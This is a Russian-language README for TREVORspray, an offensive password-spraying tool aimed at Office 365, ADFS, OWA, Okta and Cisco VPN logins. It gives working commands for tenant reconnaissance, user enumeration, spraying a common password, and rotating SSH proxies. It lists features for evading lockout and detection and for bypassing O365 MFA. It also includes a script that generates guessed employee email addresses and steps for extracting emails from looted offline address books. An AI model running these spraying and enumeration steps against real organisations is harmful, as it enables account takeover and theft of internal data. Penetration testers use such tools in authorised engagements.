TREVORspray 2.0

TREVORspray - это модульный распылитель паролей с поддержкой потоков, SSH-прокси, модулями сбора добычи и многим другим!

Автор: @thetechr0mancer

Установка:

pip install git+https://github.com/blacklanternsecurity/trevorproxy
pip install git+https://github.com/blacklanternsecurity/trevorspray

См. сопутствующий пост в блоге для забавной тирады и крутых демо!

Возможности

• Потоки, много потоков
• Несколько модулей
  • msol (Office 365)
  • adfs (Active Directory Federation Services)
  • owa (Outlook Web App)
  • okta (Okta SSO)
  • anyconnect (Cisco VPN)
  • пользовательские модули (легко создать!)
• Сообщает статус каждой учетной записи: существует ли, заблокирована, включена MFA и т.д.
• Автоматическая отмена/возобновление (запоминает уже опробованные комбинации пользователь/пароль в ~/.trevorspray/tried_logins.txt)
• Циклический прокси через несколько IP с --ssh или --subnet
• Автоматическое бесконечное переподключение/повтор при отключении прокси (или потере интернета)
• Подделывает User-Agent и другие сигнатуры, чтобы выглядеть как легитимный трафик аутентификации
• Полное логирование
• Опциональные --delay, --jitter и --lockout-delay между запросами для обхода контрмер блокировки
• Поддержка IPv6
• Поддержка обхода MFA O365 (отключить с --no-loot)
  • IMAP
  • SMTP
  • POP
  • EWS (Exchange Web Services) - автоматически получает GAL (глобальный список адресов)
  • EAS (Exchange ActiveSync)
    • Рекомендуемый обход: приложение BlueMail для Android
  • EXO (Exchange Online PowerShell)
  • UM (Exchange Unified Messaging)
  • AutoDiscover - автоматически получает OAB (автономная адресная книга)
  • Доступ к порталу Azure
• Домен --recon со следующими функциями:
  • вывод MX/TXT записей
  • вывод информации O365
    • ID клиента
    • имя клиента
    • другие домены клиента
    • URL SharePoint
    • URL аутентификации, autodiscover, конфигурация федерации и т.д.
  • Перечисление пользователей (использовать --recon и --users):
    • OneDrive
    • Azure Seamless SSO

Как сделать - O365

• Сначала получите список электронных писем для corp.com и выполните распыление, чтобы проверить, работает ли конфигурация по умолчанию. Обычно она работает.
• Если TREVORspray сообщает, что письма в вашем списке не существуют, не сдавайтесь. Получите token_endpoint с помощью --recon corp.com. token_endpoint это URL, по которому вы будете распылять (с опцией --url).
• Может потребоваться некоторое экспериментирование, прежде чем вы найдете правильную комбинацию token_endpoint + формат электронной почты.
  • Например, если вы атакуете corp.com, это может быть не так просто, как распыление corp.com. Вы можете обнаружить, что материнская компания Corp - Evilcorp владеет их клиентом Azure, то есть вам нужно распылять против token_endpoint от evilcorp.com. Также вы можете обнаружить, что внутренний домен corp.com - corp.local используется вместо corp.com.
  • Итак, в итоге вместо распыления [email protected] против token_endpoint от corp.com вы распыляете [email protected] против evilcorp.com.

Пример: выполнить разведку домена (получает информацию о клиенте, autodiscover, MX записи и т.д.)

trevorspray --recon evilcorp.com
...
    "token_endpoint": "https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token"
...

Пример: перечисление пользователей через OneDrive (без неудачных входов)

trevorspray --recon evilcorp.com -u emails.txt --threads 10

Пример: распыление против обнаруженного URL "token_endpoint"

trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b439d764-cafe-babe-ac05-2e37deadbeef/oauth2/token

Пример: распыление с задержкой 5 секунд между запросами

trevorspray -u [email protected] -p 'Welcome123' --delay 5

Пример: распыление и циклический перебор между 3 IP (текущий IP также используется, если не указан -n)

trevorspray -u emails.txt -p 'Welcome123' --ssh [email protected] [email protected]

Пример: найти действительные имена пользователей без OSINT >:D

# clone wordsmith dataset
wget https://github.com/skahwah/wordsmith/releases/download/v2.1.1/data.tar.xz && tar -xvf data.tar.xz && cd data

# order first initial by occurrence
ordered_letters=asjmkdtclrebnghzpyivfowqux

# loop through first initials
echo -n $ordered_letters | while read -n1 f; do
  # loop through top 2000 USA last names
  head -n 2000 'usa/lnames.txt' | while read last; do
    # generate emails in f.last format
    echo "${f}.${last}@evilcorp.com"
  done
done | tee f.last.txt

trevorspray -u f.last.txt -p 'Welcome123'

Извлечение данных из загруженных LZX файлов

Когда TREVORspray успешно обходит MFA и получает автономную адресную книгу (OAB), адресная книга загружается в формате LZX в ~/.trevorspray/loot. LZX - это древний и раздражающий алгоритм сжатия, используемый Microsoft.

# get libmspack (for extracting LZX file)
git clone https://github.com/kyz/libmspack
cd libmspack/libmspack/
./rebuild.sh
./configure
make

# extract LZX file
./examples/.libs/oabextract ~/.trevorspray/loot/deadbeef-ce01-4ec9-9d08-1050bdc41131-data-1.lzx oab.bin
# extract all strings
strings oab.bin
# extract and dedupe emails
egrep -oa '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}' oab.bin | tr '[:upper:]' '[:lower:]' | sort -u

TREVORspray - Справка:

$ trevorspray --help
usage: trevorspray [-h] [-m {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}] [-up USERPASS [USERPASS ...]] [-u USERS [USERS ...]] [-p PASSWORDS [PASSWORDS ...]] [--url URL]
                   [-r DOMAIN] [--export-tenants FILE] [-t THREADS] [-f] [-d DELAY] [-ld LOCKOUT_DELAY] [-j JITTER] [-e] [-nl] [--ignore-lockouts] [--timeout TIMEOUT] [--random-useragent]
                   [-6] [--proxy PROXY] [-v] [-s USER@SERVER [USER@SERVER ...]] [-i KEY] [-b BASE_PORT] [-n] [--subnet SUBNET] [--interface INTERFACE]

A password sprayer with the option to load-balance traffic through SSH hosts

options:
  -h, --help            show this help message and exit

basic arguments:
  -m, --module {owa,okta,auth0,anyconnect,jumpcloud,adfs,msol,example}
                        Spray module to use (default: msol)
  -up, --userpass USERPASS [USERPASS ...]
                        file(s) containing username and password pairs (format: 'username:password')
  -u, --users USERS [USERS ...]
                        Usernames(s) and/or file(s) containing usernames
  -p, --passwords PASSWORDS [PASSWORDS ...]
                        Password(s) and/or file(s) containing passwords
  --url URL             The URL to spray against
  -r, --recon, --enumerate DOMAIN
                        Retrieves MX records and info related to authentication, email, Azure, Microsoft 365, etc. If --usernames are specified, this also enables username enumeration.
  --export-tenants FILE
                        Export all discovered tenant domains to a file

advanced arguments:
  Round-robin traffic through remote systems via SSH (overrides --threads)